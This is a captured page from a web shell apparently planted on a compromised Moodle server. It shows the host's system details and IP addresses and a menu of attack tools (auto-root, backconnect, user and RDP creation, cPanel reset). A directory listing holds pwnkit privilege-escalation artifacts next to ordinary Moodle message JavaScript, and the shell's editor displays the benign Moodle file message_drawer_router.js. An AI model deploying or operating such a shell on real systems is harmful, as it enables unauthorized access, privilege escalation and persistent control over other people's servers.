Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.255.25
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
message /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
message_drawer.js
12.2
KB
-rw-r--r--
message_drawer_events.js
2.34
KB
-rw-r--r--
message_drawer_helper.js
2.34
KB
-rw-r--r--
message_drawer_lazy_load_list....
9.39
KB
-rw-r--r--
message_drawer_router.js
10.26
KB
-rw-r--r--
message_drawer_routes.js
1.21
KB
-rw-r--r--
message_drawer_view_contact.js
2.95
KB
-rw-r--r--
message_drawer_view_contacts.j...
6.94
KB
-rw-r--r--
message_drawer_view_contacts_s...
6.14
KB
-rw-r--r--
message_drawer_view_contacts_s...
4.34
KB
-rw-r--r--
message_drawer_view_conversati...
86.72
KB
-rw-r--r--
message_drawer_view_conversati...
7.61
KB
-rw-r--r--
message_drawer_view_conversati...
51.7
KB
-rw-r--r--
message_drawer_view_conversati...
63.02
KB
-rw-r--r--
message_drawer_view_conversati...
30.2
KB
-rw-r--r--
message_drawer_view_group_info...
5.83
KB
-rw-r--r--
message_drawer_view_overview.j...
10.5
KB
-rw-r--r--
message_drawer_view_overview_s...
33.02
KB
-rw-r--r--
message_drawer_view_search.js
32.56
KB
-rw-r--r--
message_drawer_view_settings.j...
11.7
KB
-rw-r--r--
message_notification_preferenc...
2.09
KB
-rw-r--r--
message_popover.js
3.36
KB
-rw-r--r--
message_preferences.js
4.35
KB
-rw-r--r--
message_repository.js
33.98
KB
-rw-r--r--
message_send_bulk.js
3.36
KB
-rw-r--r--
message_user_button.js
3.78
KB
-rw-r--r--
notification_preference.js
5.37
KB
-rw-r--r--
notification_processor.js
2.82
KB
-rw-r--r--
notification_processor_setting...
10.06
KB
-rw-r--r--
preferences_notifications_list...
6.19
KB
-rw-r--r--
preferences_processor_form.js
2.96
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
toggle_contact_button.js
6.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_drawer_router.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * A simple router for the message drawer that allows navigating between * the "pages" in the drawer. * * This module will maintain a linear history of the unique pages access * to allow navigating back. * * @module core_message/message_drawer_router * @copyright 2018 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define( [ 'jquery', 'core/pubsub', 'core/str', 'core_message/message_drawer_events', 'core/aria', ], function( $, PubSub, Str, MessageDrawerEvents, Aria ) { /* @var {object} routes Message drawer route elements and callbacks. */ var routes = {}; /* @var {object} history Store for route objects history. */ var history = {}; var SELECTORS = { CAN_RECEIVE_FOCUS: 'input:not([type="hidden"]), a[href], button, textarea, select, [tabindex]', ROUTES_BACK: '[data-route-back]' }; /** * Add a route. * * @param {String} namespace Unique identifier for the Routes * @param {string} route Route config name. * @param {array} parameters Route parameters. * @param {callback} onGo Route initialization function. * @param {callback} getDescription Route initialization function. */ var add = function(namespace, route, parameters, onGo, getDescription) { if (!routes[namespace]) { routes[namespace] = []; } routes[namespace][route] = { parameters: parameters, onGo: onGo, getDescription: getDescription }; }; /** * Go to a defined route and run the route callbacks. * * @param {String} namespace Unique identifier for the Routes * @param {string} newRoute Route config name. * @return {object} record Current route record with route config name and parameters. */ var changeRoute = function(namespace, newRoute) { var newConfig; // Check if the Route change call is made from an element in the app panel. var fromPanel = [].slice.call(arguments).some(function(arg) { return arg == 'frompanel'; }); // Get the rest of the arguments, if any. var args = [].slice.call(arguments, 2); var renderPromise = $.Deferred().resolve().promise(); Object.keys(routes[namespace]).forEach(function(route) { var config = routes[namespace][route]; var isMatch = route === newRoute; if (isMatch) { newConfig = config; } config.parameters.forEach(function(element) { // Some parameters may be null, or not an element. if (typeof element !== 'object' || element === null) { return; } element.removeClass('previous'); element.attr('data-from-panel', false); if (isMatch) { if (fromPanel) { // Set this attribute to let the conversation renderer know not to show a back button. element.attr('data-from-panel', true); } element.removeClass('hidden'); Aria.unhide(element.get()); } else { // For the message index page elements in the left panel should not be hidden. if (!element.attr('data-in-panel')) { element.addClass('hidden'); Aria.hide(element.get()); } else if (newRoute == 'view-search' || newRoute == 'view-overview') { element.addClass('hidden'); Aria.hide(element.get()); } } }); }); if (newConfig) { if (newConfig.onGo) { renderPromise = newConfig.onGo.apply(undefined, newConfig.parameters.concat(args)); var currentFocusElement = $(document.activeElement); var hasFocus = false; var firstFocusable = null; // No need to start at 0 as we know that is the namespace. for (var i = 1; i < newConfig.parameters.length; i++) { var element = newConfig.parameters[i]; // Some parameters may be null, or not an element. if (typeof element !== 'object' || element === null) { continue; } if (!firstFocusable) { firstFocusable = element; } if (element.has(currentFocusElement).length) { hasFocus = true; break; } } if (!hasFocus) { // This page doesn't have focus yet so focus the first focusable // element in the new view. firstFocusable.find(SELECTORS.CAN_RECEIVE_FOCUS).filter(':visible').first().focus(); } } } var record = { route: newRoute, params: args, renderPromise: renderPromise }; PubSub.publish(MessageDrawerEvents.ROUTE_CHANGED, record); return record; }; /** * Go to a defined route and store the route history. * * @param {String} namespace Unique identifier for the Routes * @return {object} record Current route record with route config name and parameters. */ var go = function(namespace) { var currentFocusElement = $(document.activeElement); var record = changeRoute.apply(namespace, arguments); var inHistory = false; if (!history[namespace]) { history[namespace] = []; } // History stores a unique list of routes. Check to see if the new route // is already in the history, if it is then forget all history after it. // This ensures there are no duplicate routes in history and that it represents // a linear path of routes (it never stores something like [foo, bar, foo])). history[namespace] = history[namespace].reduce(function(carry, previous) { if (previous.route === record.route) { inHistory = true; } if (!inHistory) { carry.push(previous); } return carry; }, []); var historylength = history[namespace].length; var previousRecord = historylength ? history[namespace][historylength - 1] : null; if (previousRecord) { var prevConfig = routes[namespace][previousRecord.route]; var elements = prevConfig.parameters; // The first one will be the namespace, skip it. for (var i = 1; i < elements.length; i++) { // Some parameters may be null, or not an element. if (typeof elements[i] !== 'object' || elements[i] === null) { continue; } elements[i].addClass('previous'); } previousRecord.focusElement = currentFocusElement; if (prevConfig.getDescription) { // If the route has a description then set it on the back button for // the new page we're displaying. prevConfig.getDescription.apply(null, prevConfig.parameters.concat(previousRecord.params)) .then(function(description) { return Str.get_string('backto', 'core_message', description); }) .then(function(label) { // Wait for the new page to finish rendering so that we know // that the back button is visible. return record.renderPromise.then(function() { // Find the elements for the new route we displayed. routes[namespace][record.route].parameters.forEach(function(element) { // Some parameters may be null, or not an element. if (typeof element !== 'object' || !element) { return; } // Update the aria label for the back button. element.find(SELECTORS.ROUTES_BACK).attr('aria-label', label); }); }); }) .catch(function() { // Silently ignore. }); } } history[namespace].push(record); return record; }; /** * Go back to the previous route record stored in history. * * @param {String} namespace Unique identifier for the Routes */ var back = function(namespace) { if (history[namespace].length) { // Remove the current route. history[namespace].pop(); var previous = history[namespace].pop(); if (previous) { // If we have a previous route then show it. go.apply(undefined, [namespace, previous.route].concat(previous.params)); // Delay the focus 50 milliseconds otherwise it doesn't correctly // focus the element for some reason... window.setTimeout(function() { previous.focusElement.focus(); }, 50); } } }; return { add: add, go: go, back: back }; });
Close